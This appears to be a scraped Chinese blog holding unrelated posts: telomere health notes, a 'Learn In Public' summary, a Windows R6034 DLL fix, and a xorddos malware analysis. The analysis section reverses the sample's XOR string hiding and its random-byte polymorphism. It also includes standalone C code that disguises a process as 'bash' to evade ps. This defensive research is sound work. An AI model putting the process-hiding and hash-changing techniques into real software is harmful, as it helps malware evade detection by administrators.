端粒效应

获得 2009 年诺贝尔生理或医学奖的 伊丽莎白·布莱克本在 《端粒效应》一书中说明:人只所以变老,是由于某些细胞不再更新了,而细胞分裂更新的限制在于 “端粒”。

端粒是染色体末端的 DNA 序列,在细胞分裂过程中,端粒起到保护 DNA 序列的作用。所以,人之所变老的本质原因是 「端粒变短」。

影响端粒变短的因素

  • 思想压力:研究表明长期照顾患病小孩的母亲,端粒长度较正常人变短
  • 敌意:看哪儿都不对,和周围的人关系极差
  • 悲观:对事情总有一个负面的预期
  • 胡思乱想:抑郁,都是乱想负面的东西,觉得不公平对待

缓解负面情绪的方法

  • 把压力视为挑战:对压力的反应是威胁还是挑战,决定压力的性质
  • 专注力训练:冥想
  • 找到人生的目标:find something bigger than yourself

锻炼对端粒的好处

  • 人体是反脆弱系统:锻炼的本质是对身体的适度打击
  • 细胞的反击:适度的锻炼能使端粒变长,并增加「自由基」
  • 抗氧化剂增多:突然增多的自由基使得身体增加抗氧化剂,锻炼改变了自由基和抗氧化剂的平衡
  • 锻炼到底是影响端粒还是端粒脢,分子生物学上的机制科学家现在还不知道

两种科学的锻炼方法

  • 有氧耐力训练:长跑,每次跑四十五分钟,每周跑三次,坚持六个月,你的端粒酶的活性就能提高两倍
  • 高强度的间歇训练:短跑结合恢复的办法,快跑几分钟,停下来慢走休息,然后再快跑

节食和减肥的观念

  • 体重可能并不是肥胖的最好指标,更好的指标是 「腰臀比」
  • 肚子大代表新陈代谢水平低,会让端粒变短
  • 肚子大,腰臀比过高,胆固醇超标;高血压;胰岛素抵抗,具备三个就是新陈代谢综合症
  • 饥饿节食减肥不可取,就算减下体重也很容易报复性反弹
  • 糖可能是各种健康问题的罪魁祸首

从端粒说,细胞有三个敌人

  • 细胞发炎:肥胖使细胞容易发炎,从而使端粒变短。omega-3 可以防止细胞发炎,鱼类、牛奶、有机鸡蛋中含有 omega-3 脂肪酸
  • 氧化应激反应:维生素 C 和维生素 E 可以对抗氧化应急反应。饮食中可以吃些水果、胡萝卜、西红柿、土豆和绿叶蔬菜
  • 胰岛素抵抗:对抗胰岛素抵抗,关键是要少吃糖

从看端粒的角度分析饮食

  • 对端粒有害的食物有:红肉,加工肉类(香肠)、白面包、含糖饮料、omega-6 ,过量饮酒
  • 对端粒有益的食物有:植物纤维、全麦、蔬菜、坚果、豆类、水果、海带、omega-3

人的环境对端粒的影响

  • 城市的居民比乡村居民更容易视压力为威胁,因为城市居民的“杏仁核” 部位比较活跃,这个部位主要负责恐惧感
  • 社会关系比金钱对端粒的影响更大,只要能满足基本的生活需求,金钱对端粒的影响就不大
  • 受教育的程度对端粒影响很大,研究表明受教育程度越高端粒越长
  • 职业很重要比收入对端粒影响大,一个从事基本工作的白领也比收入更高的蓝领端粒要长

从端粒看,父母对孩子的影响

  • 遗传:端粒长度可以不通过基因遗传,而是“直接传递”,怀孕时父母的端粒比较短,孩子出生时端粒也就比较短
  • 孕期压力:怀孕期间母亲的压力情况,人遇到压力会分泌皮质醇,从而影响孩子的端粒
  • 家庭环境:越少父母的关爱,被父母忽视的孩子,端粒会比较短

Learn In Public 摘要

source: https://www.swyx.io/learn-in-public/

  • a habit of creating learning exhaust
    • Write blogs and tutorials and cheatsheets.
    • Speak at meetups and conferences.
    • Ask and answer things on Stackoverflow or Reddit.
      • Avoid the walled gardens like Slack and Discord, they’re not public.
    • Make Youtube videos or Twitch streams.
    • Start a newsletter.
    • Draw cartoons (people loooove cartoons!)
  • Whatever your thing is, make the thing you wish you had found when you were learning.
  • Don’t judge your results by “claps” or retweets or stars or upvotes
  • Oh you think you’re done? Don’t stop there:
    • Enjoyed a coding video? Reach out to the speaker/instructor and thank them, and ask questions.
    • Make PR’s to libraries you use.
    • Make your own libraries no one will ever use.
    • Clone stuff you like, from scratch, to see how they work.
    • Teach workshops.
    • Go to conferences and summarize what you learned.
  • The subheading under this rule would be: Try your best to be right, but don’t worry when you’re wrong.
    • People think you suck? Good. You agree. Ask them to explain, in detail, why you suck
    • You want to just feel good or you want to be good?
      • Then go away and prove them wrong. Of course, if they get abusive block them.
  • At some point you’ll get some support behind you. People notice genuine learners. They’ll want to help you.
    • Don’t tell them, but they just became your mentors.
    • This is very important: Pick up what they put down
    • Because you learn in public. By teaching you, they teach many.

xorddos 样本进程隐藏的小伎俩

进程隐藏

上周由于工作原因接触到xorddos的样本,这个样本在过去一年的时间里非常常见,
变种也很多,拿到的样本比较有趣的是 ps 无法发现进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# ps -ef  | grep /usr/bin

...

root 4597 4594 0 00:37 ? 00:00:00 gnome-pty-helper
root 4598 4594 0 00:37 pts/1 00:00:00 bash
oracle 5359 1 0 00:41 ? 00:00:00 ora_smco_orcl
oracle 5378 1 0 00:41 ? 00:00:00 ora_w000_orcl
oracle 5586 1 0 00:42 ? 00:00:00 ora_j000_orcl
oracle 5588 1 0 00:42 ? 00:00:00 ora_j001_orcl
root 5666 1 0 00:43 ? 00:00:00 sh
root 5669 1 0 00:43 ? 00:00:00 echo "find"
root 5672 1 0 00:43 ? 00:00:00 ls -la
root 5675 1 0 00:43 ? 00:00:00 bash
root 5678 1 0 00:43 ? 00:00:00 gnome-terminal
root 5683 1 0 00:43 ? 00:00:00 cd /etc
root 5686 1 0 00:43 ? 00:00:00 top
root 5689 1 0 00:43 ? 00:00:00 sh
root 5692 1 0 00:43 ? 00:00:00 gnome-terminal
root 5695 1 0 00:43 ? 00:00:00 ifconfig
root 5696 4598 0 00:43 pts/1 00:00:00 ps -ef

而使用lsof却可以清除地看见样本正在努力地干活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@localhost ~]# lsof +d /usr/bin
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
hidd 1853 root txt REG 3,1 33708 2467454 /usr/bin/hidd
ckucbzknt 2014 root txt REG 3,1 610331 2459176 /usr/bin/ckucbzkntb
xfs 2143 xfs txt REG 3,1 107460 2468483 /usr/bin/xfs
Xorg 3117 root txt REG 3,1 1890596 2466732 /usr/bin/Xorg
gnome-ses 4073 root txt REG 3,1 129356 2459482 /usr/bin/gnome-session
ssh-agent 4201 root txt REG 3,1 88996 2467513 /usr/bin/ssh-agent
dbus-laun 4245 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-key 4255 root txt REG 3,1 97396 2473617 /usr/bin/gnome-keyring-daemon
metacity 4290 root txt REG 3,1 521080 2464500 /usr/bin/metacity
gnome-pan 4296 root txt REG 3,1 540868 2465177 /usr/bin/gnome-panel
nautilus 4298 root txt REG 3,1 1348932 2461620 /usr/bin/nautilus
gnome-vol 4310 root txt REG 3,1 65240 2464498 /usr/bin/gnome-volume-manager
bt-applet 4334 root txt REG 3,1 30452 2464773 /usr/bin/bt-applet
nm-applet 4352 root txt REG 3,1 312432 2467723 /usr/bin/nm-applet
gnome-pow 4381 root txt REG 3,1 195284 2459473 /usr/bin/gnome-power-manager
pam-panel 4383 root txt REG 3,1 39148 2461862 /usr/bin/pam-panel-icon
dbus-laun 4473 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-scr 4512 root txt REG 3,1 168628 2468487 /usr/bin/gnome-screensaver
gnome-ter 4594 root txt REG 3,1 309368 2464648 /usr/bin/gnome-terminal
gadcgkcqn 4681 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4684 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4687 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4690 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4693 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni

阅读汇编代码,分析具体原因,发现xorddos将一些关键信息加密了,F5处理过的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl encrypt_code(int a1, int a2)
{
signed int v2; // ecx@2

if ( a2 > 0 )
{
v2 = 0;
do
{
*(_BYTE *)(v2 + a1) ^= xorkeys[(((_BYTE)v2 + ((unsigned int)(v2 >> 31) >> 28)) & 0xF)
- ((unsigned int)(v2 >> 31) >> 28)];
++v2;
}
while ( v2 != a2 );
}
return a1;
}

xorkey 为 BB2FA36AAA9541F0

用idapython 写个小脚本,简单处理一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from idautils import *
from idc import *


def get_string(addr):
out = ""
while True:
if Byte(addr) != 0:
out += chr(Byte(addr))
else:
break
addr += 1
return out

def decrypt(data):

xorkey = 'BB2FA36AAA9541F0'
length = len(data)
o = ""
if length > 0:
v2 = 0
while v2 < length:
o += chr( ord(data[v2]) ^ ord(xorkey[((v2 + ((v2 >> 31) >> 28)) & 0xF) - ( (v2 >> 31) >> 28)]) )
v2 += 1

return o

ea = ScreenEA()
string = get_string(ea)
dec = decrypt(string)
print 'Addr: 0x%x, %s' % (ea, dec)
MakeComm(ea, dec)

处理后可以看到伪装的命令行信息,daemonname。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
.data:080CBB40 daemonname      db '!#Ff3VE.-7',17h,'V[_ 0',0 ; DATA XREF: main+31Eo
.data:080CBB40 ; main+4AEo ...
.data:080CBB40 ; cat resolv.conf
.data:080CBB51 align 4
.data:080CBB54 a12 db '1*2',0 ; sh
.data:080CBB58 db 0
.data:080CBB59 db 0
.data:080CBB5A db 0
.data:080CBB5B db 0
.data:080CBB5C db 0
.data:080CBB5D db 0
.data:080CBB5E db 0
.data:080CBB5F db 0
.data:080CBB60 db 0
.data:080CBB61 db 0
.data:080CBB62 db 0
.data:080CBB63 db 0
.data:080CBB64 db 0
.data:080CBB65 db 0
.data:080CBB66 db 0
.data:080CBB67 db 0
.data:080CBB68 db 20h ; bash
.data:080CBB69 db 23h ; #
.data:080CBB6A db 41h ; A
.data:080CBB6B db 2Eh ; .
.data:080CBB6C db 41h ; A
.data:080CBB6D db 0
.data:080CBB6E db 0
.data:080CBB6F db 0
.data:080CBB70 db 0
.data:080CBB71 db 0

...

.data:080CBBB8 db 2Eh ; . ; ls -la
.data:080CBBB9 db 31h ; 1
.data:080CBBBA db 12h
.data:080CBBBB db 6Bh ; k
.data:080CBBBC db 2Dh ; -
.data:080CBBBD db 52h ; R
.data:080CBBBE db 36h ; 6
.data:080CBBBF db 0
.data:080CBBC0 db 0
.data:080CBBC1 db 0
.data:080CBBC2 db 0
.data:080CBBC3 db 0
.data:080CBBC4 db 0
.data:080CBBC5 db 0
.data:080CBBC6 db 0
.data:080CBBC7 db 0
.data:080CBBC8 db 0
.data:080CBBC9 db 0
.data:080CBBCA db 0
.data:080CBBCB db 0
.data:080CBBCC db 36h ; 6 ; top
.data:080CBBCD db 2Dh ; -
.data:080CBBCE db 42h ; B
.data:080CBBCF db 46h ; F
.data:080CBBD0 db 0
.data:080CBBD1 db 0
.data:080CBBD2 db 0

...

呵呵,已经看到 top, ls -al 等信息了,查看daemonname 的交叉引用,发现在main函数
中,到main里看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804AC30 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804AC30 public main
.text:0804AC30 main proc near ; DATA XREF: _start+17o

....

.text:0804AF4E mov ebx, offset daemonname ; "!#Ff3VE.-7\x17V[_ 0"

...

.text:0804AFC2 loc_804AFC2: ; CODE XREF: main+3ABj
.text:0804AFC2 mov [esp], ebx
.text:0804AFC5 add ebx, 14h
.text:0804AFC8 mov dword ptr [esp+4], 14h
.text:0804AFD0 call encrypt_code
.text:0804AFD5 cmp ebx, offset unk_80CBD0C
.text:0804AFDB jnz short loc_804AFC2

这段汇编代码,使用了一个循环,调用encrypt_code 对daemonname进行了解密。
后面的代码,用到了daemonname的地方有下面几处,

第一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0804B29F                 call    getpid
.text:0804B2A4 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B2AC mov dword ptr [esp+4], 0Ah
.text:0804B2B4 mov [esp], esi ;第三形参 pid
.text:0804B2B7 mov [esp+0Ch], eax
.text:0804B2BB call snprintf
.text:0804B2C0 mov dword ptr [esp+4], 17h
.text:0804B2C8 mov dword ptr [esp], 0
.text:0804B2CF call randomid
.text:0804B2D4 mov [esp+8], esi
.text:0804B2D8 mov [esp], edi ;第一形参 要跑的木马
.text:0804B2DB movzx eax, ax
.text:0804B2DE lea eax, [eax+eax*4]
.text:0804B2E1 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B2E8 mov [esp+4], eax ; 第二形参 daemonname
.text:0804B2EC call LinuxExec_Argv2

第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B932                 lea     edx, [ebp+var_1888]
.text:0804B938 add ebx, 1
.text:0804B93B mov [esp], edx
.text:0804B93E call randmd5
.text:0804B943 mov [ebp+var_22], 0
.text:0804B94A mov [ebp+var_1E], 0
.text:0804B951 mov [ebp+var_1A], 0
.text:0804B957 call getpid
.text:0804B95C mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B964 mov dword ptr [esp+4], 0Ah
.text:0804B96C mov [esp], esi
.text:0804B96F mov [esp+0Ch], eax
.text:0804B973 call snprintf
.text:0804B978 mov dword ptr [esp+4], 17h
.text:0804B980 mov dword ptr [esp], 0
.text:0804B987 call randomid
.text:0804B98C mov [esp+8], esi
.text:0804B990 movzx eax, ax
.text:0804B993 lea eax, [eax+eax*4]
.text:0804B996 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B99D mov [esp+4], eax
.text:0804B9A1 lea eax, [ebp+var_1888]
.text:0804B9A7 mov [esp], eax
.text:0804B9AA call LinuxExec_Argv2

第三处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B9DF                 lea     edx, [ebp+var_1C88]
.text:0804B9E5 add ebx, 1
.text:0804B9E8 mov [esp], edx
.text:0804B9EB call randmd5
.text:0804B9F0 mov [ebp+var_22], 0
.text:0804B9F7 mov [ebp+var_1E], 0
.text:0804B9FE mov [ebp+var_1A], 0
.text:0804BA04 call getpid
.text:0804BA09 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804BA11 mov dword ptr [esp+4], 0Ah
.text:0804BA19 mov [esp], esi
.text:0804BA1C mov [esp+0Ch], eax
.text:0804BA20 call snprintf
.text:0804BA25 mov dword ptr [esp+4], 17h
.text:0804BA2D mov dword ptr [esp], 0
.text:0804BA34 call randomid
.text:0804BA39 mov [esp+8], esi
.text:0804BA3D movzx eax, ax
.text:0804BA40 lea eax, [eax+eax*4]
.text:0804BA43 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804BA4A mov [esp+4], eax
.text:0804BA4E lea eax, [ebp+var_1C88]
.text:0804BA54 mov [esp], eax
.text:0804BA57 call LinuxExec_Argv2

都是作为LinuxExec_Argv2 参数使用的,接着来看LinuxExec_Argv2 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.text:08048520 LinuxExec_Argv2 proc near               ; CODE XREF: DelService+B3p
.text:08048520 ; DelService+CBlp ...
.text:08048520
.text:08048520 argv = dword ptr -18h
.text:08048520 var_14 = dword ptr -14h
.text:08048520 var_10 = dword ptr -10h
.text:08048520 var_C = dword ptr -0Ch
.text:08048520 var_8 = dword ptr -8
.text:08048520 var_4 = dword ptr -4
.text:08048520 file = dword ptr 8
.text:08048520 arg_4 = dword ptr 0Ch
.text:08048520 arg_8 = dword ptr 10h
.text:08048520
.text:08048520 push ebp
.text:08048521 mov ebp, esp
.text:08048523 sub esp, 28h
.text:08048526 mov [ebp+var_4], esi
.text:08048529 mov esi, [ebp+file]
.text:0804852C mov [ebp+var_8], ebx
.text:0804852F mov [ebp+argv], 0
.text:08048536 mov [ebp+var_14], 0
.text:0804853D mov [ebp+var_10], 0
.text:08048544 mov [ebp+var_C], 0
.text:0804854B call doublefork
.text:08048550 test eax, eax
.text:08048552 jz short ZERO
.text:08048554 mov ebx, [ebp+var_8]
.text:08048557 mov esi, [ebp+var_4]
.text:0804855A mov esp, ebp
.text:0804855C pop ebp
.text:0804855D retn
.text:0804855E ; ---------------------------------------------------------------------------
.text:0804855E
.text:0804855E ZERO: ; CODE XREF: LinuxExec_Argv2+32j
.text:0804855E mov ebx, 3
.text:08048563
.text:08048563 LOOP: ; CODE XREF: LinuxExec_Argv2+54j
.text:08048563 mov [esp], ebx ; fd
.text:08048566 add ebx, 1
.text:08048569 call close
.text:0804856E cmp ebx, 400h ;400h == 1024
.text:08048574 jnz short LOOP
.text:08048576 mov eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
.text:0804857C mov [esp], esi ; file
.text:0804857F mov [ebp+var_14], eax
.text:08048582 mov eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax
.text:08048588 lea eax, [ebp+argv]
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp
.text:08048594 mov dword ptr [esp], 0 ; status
.text:0804859B call exit
.text:0804859B LinuxExec_Argv2 endp

LinuxExec_Argv2 有三个参数。最终执行了execvp

1
2
3
4
.text:0804857C                 mov     [esp], esi      ; file 
...
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp

伪代码为,

1
execvp(file, &argv);

file 就是arg_0, 需要分析argv, 调出栈图就比较清晰了。

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            dd ?                    ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

首先是这句

1
2
3
4
5
6
.text:08048529                 mov     esi, [ebp+file]
...
.text:0804852F mov [ebp+argv], 0
...
.text:08048579 mov [ebp+argv], esi

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                       ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

再看这几句代码

1
2
3
4
.text:08048576                 mov     eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
...
.text:0804857F mov [ebp+var_14], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

接下来是这几句代码

1
2
.text:08048582                 mov     eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 arg_8
-0000000C var_C 0
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?
`

main函数中对LinuxExec_Argv2 的调用的为代码为

1
LinuxExec_Argv2('木马路径', '伪装命令行', pid);

因此最后调用的execvp的伪代码为

1
execvp('木马路径', argv);

将进入 main 函数参数个数为3的流程,用IDA重命名后,关键代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
text:0804B5D3 PARAM_NUM_3:                            ; CODE XREF: main+3CDj

.text:0804B5D3 lea eax, [ebp+var_18]
.text:0804B5D6 mov [esp+4], eax
.text:0804B5DA lea eax, [ebp+self_path]
.text:0804B5E0 mov [esp], eax
.text:0804B5E3 call readfile
.text:0804B5E8 mov edx, [ebp+argv_arr]
.text:0804B5EE mov ebx, [edx+4]
.text:0804B5F1 mov [ebp+self_file_content], eax
.text:0804B5F7 mov [esp], ebx
.text:0804B5FA call strlen
.text:0804B5FF mov [esp+4], ebx
.text:0804B603 mov [esp+8], eax
.text:0804B607 lea eax, [ebp+fake_cmd]
.text:0804B60D mov [esp], eax
.text:0804B610 call memmove
.text:0804B615 mov dword ptr [esp+0Ch], 0
.text:0804B61D mov dword ptr [esp+8], 0Ah
.text:0804B625 mov dword ptr [esp+4], 0
.text:0804B62D mov edx, [ebp+argv_arr]
.text:0804B633 mov eax, [edx+8]
.text:0804B636 mov [esp], eax
.text:0804B639 call __strtol_internal
.text:0804B63E mov esi, eax
.text:0804B640 mov eax, [ebp+argv_arr]
.text:0804B646 mov ebx, [eax]
.text:0804B648 mov [esp], ebx
.text:0804B64B call strlen
.text:0804B650 mov [esp], ebx
.text:0804B653 mov dword ptr [esp+4], 0
.text:0804B65B mov [esp+8], eax
.text:0804B65F call memset
.text:0804B664 mov edx, [ebp+argv_arr]
.text:0804B66A mov ebx, [edx+4]
.text:0804B66D mov [esp], ebx
.text:0804B670 call strlen
.text:0804B675 mov [esp], ebx
.text:0804B678 mov dword ptr [esp+4], 0
.text:0804B680 mov [esp+8], eax
.text:0804B684 call memset
.text:0804B689 mov eax, [ebp+argv_arr]
.text:0804B68F mov ebx, [eax+8]
.text:0804B692 mov [esp], ebx
.text:0804B695 call strlen
.text:0804B69A mov [esp], ebx
.text:0804B69D mov dword ptr [esp+4], 0
.text:0804B6A5 mov [esp+8], eax
.text:0804B6A9 call memset
.text:0804B6AE lea edx, [ebp+fake_cmd]
.text:0804B6B4 mov [esp+4], edx
.text:0804B6B8 mov edx, [ebp+argv_arr]
.text:0804B6BE mov eax, [edx]
.text:0804B6C0 mov [esp], eax
.text:0804B6C3 call strcpy
.text:0804B6C8 lea eax, [ebp+filename]
.text:0804B6CE mov [esp+0Ch], esi
.text:0804B6D2 lea esi, [ebp+randstr_10]

上面代码的原理大致等同于下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
sleep(300);
}

编译后执行可以看到效果和运行样本的一样。

1
2
3
4
5
6
7
8
9
10
11
➜  ~ gcc -o fakeexe exe.c
➜ ~ ./fakeexe "ls -al" 2554

➜ ~ cat /proc/2605/cmdline
ls -al

➜ ~ ls -l /proc/2605/exe
lrwxrwxrwx. 1 henices henices 0 8月 2 12:01 /proc/2605/exe -> /home/henices/research/xorddos/fakeexe

➜ ~ ps -elf | grep "ls -al" | grep -v grep
0 S henices 2605 25307 0 80 0 - 1043 hrtime 12:01 pts/5 00:00:00 ls -al

其实效果并不好,可以轻易发现踪迹。

1
2
3
➜  ~ ps -e | grep fakeexe
2605 pts/9 00:00:00 fakeexe

其实有更好的做法,使用 prctl ,至少可以把ps给搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
prctl(PR_SET_NAME, "bash");
sleep(300);
}

编译执行后可以看到效果。

1
2
3
4
5
6
7
8
➜  ~ ps -e | grep bash
4858 pts/5 00:00:00 bash

➜ ~ cat /proc/4858/cmdline
ls -al

➜ ~ lsof -d txt | grep fakeexe
bash 4858 henices txt REG 253,2 8816 4588423 /home/henices/research/xorddos/fakeexe

xorddos 的多态 (Polymorphic)

xorddos这个样本还值得一提的是,这个样本会不断变化,多态这个词翻译的可能不太准确,
可以参见上面的英文,自行理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl randmd5(char *filename)
{
int fd; // eax@1
int fd_dup; // esi@1
mode_t v4; // [sp+8h] [bp-20h]@0
int addr; // [sp+15h] [bp-13h]@1
int v6; // [sp+19h] [bp-Fh]@1
__int16 v7; // [sp+1Dh] [bp-Bh]@1
char v8; // [sp+1Fh] [bp-9h]@1

addr = 0;
v6 = 0;
v7 = 0;
v8 = 0;
fd = open(filename, 1, v4);
fd_dup = fd;
if ( fd > 0 )
{
lseek(fd, 0, SEEK_END);
randstr((int)&addr, 10);
write(fd_dup, &addr, 11u);
close(fd_dup);
}
return 0;
}

xorddos 样本多态主要就是用这个函数,每次在文件末尾写上10个字节的随机字符。
这样样本md5和大小都会发生变化,使得一些检测方法失效。

其他

正因为这种隐藏方法并不理想,后面xorddos出现了带rootkit的版本,进化了。

解决 Windows Rx034

以前没有遇上这个错误,这次遇上这个错误是装vim的YouCompleteMe插件后出现,因此很容易想到是装插件引起的这个错误,错误提示Runtime Error 如下图:

error

先放狗搜一下,微软的对R6034的解释如下:

1
2
3
4
5
An application has made an attempt to load the C runtime library without using
a manifest. This is an unsupported way to load Visual C++ DLLs. You need to
modify your application to build with a manifest. For more information, see the
"Visual C++ Libraries as Shared Side-by-Side Assemblies" topic in the product
documentation.

微软的链接中也提到了解决的方法

1
2
3
4
5
6
Rebuild your application to include a manifest. Building an application with
Visual Studio automatically puts the manifest into the resulting .exe or .dll
file. If you are building at the command line, use the mt.exe tool to add the
manifest as a resource. Use resource ID 1 if you build an .exe, and resource
ID 2 if you build a .dll. For more information, see How to: Embed a Manifest
Inside a C/C++ Application.

大概的意思是需要使用manifest.xml来指定需要加载的DLL。上网又翻看了几个链接发现这个错误的成因比较复杂,主要原因是加载mscvr*.dll 出现了问题。不管怎样还是先看看是否使用了 manifest。从微软的解决办法可以知道,manifest很有可能在资源文件里。

还是先看看manifest的作用,在msdn网站搜索相关内容,根据《Understanding Manifest Generation for C/C++ Programs》中的内容,manfest.xml可以是一个外部的XML文件也可以是嵌入在程序的资源文件中。manifest.xml用于管理程序在运行时需要的共享程序集的名字和版本。如果程序只依赖 VisualC++ 的程序集(CRT,MFC,ATL等),manifest会被链接器自动生成。Manifest的Sxs指定了其依赖的清单名称,版本,资源,和其他组件。Sxs是Windows XP引入的新技术,vs 2005 开始使用,全名叫Side by Side assembly,主要还是为了解决兼容性问题,这样同一个系统可以存在不同版本的同名文件而互相不影响各自的运行。

sxs

现在需要定位gvim.exe加载哪个DLL引起了R6034错误,使用Process Explorer发现是加载ycm_client_support.pyd导致。删除YouCompleteMe插件后错误消失。

先看看ycm_client_support.pyd是否使用了manifest.xml, 使用神器TC, F3一下,可以查看manifest的情况。

manifest.xml

发现其实ycm_client_support.pyd已经使用了manifest,但是仍然出现R6034错误。上网搜索了一番(见文末的参考链接),发现这就是非常著名的DLL Hell了,维基百科中专门记录了这个问题。 http://en.wikipedia.org/wiki/Dll_hell

不论如何应该就是DLL加载时出错了,可以使用Process Explorer 工具来查看出问题的进程,看看在进程空间内具体是什么情况。

p-e

哈哈,发现了一些情况,msvcr90.dll在gvim进程空间里有两个!再看看这两个DLL的位置。

p-e1

p-e2

删除掉不在C:\WINDOWS\WinSxS\目录里的msvcr90.dll,问题得以解决。由于这个错误是因为加载ycm_client_support.pyd引起的,再看看ycm_client_support.pyd的情况,拿出TC直接F3一下,又发现了一些有用的信息。ycm_client_support.pyd加载的是cmake目录下的msvcr90.dll, 正常情况下因该使用 C:\Windows\winsxs 目录下的msvcr90.dll

tc1

tc2

查看一下系统环境变量:

1
2
3
4
5
6
7
8
9
10
D:\Program Files\Microsoft Visual Studio 9.0\VC> set | findstr Path

Path=D:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE;D:\Program Files\M
icrosoft Visual Studio 9.0\VC\BIN;D:\Program Files\Microsoft Visual Studio 9.0\C
ommon7\Tools;c:\Windows\Microsoft.NET\Framework\v3.5;c:\Windows\Microsoft.NET\Fr
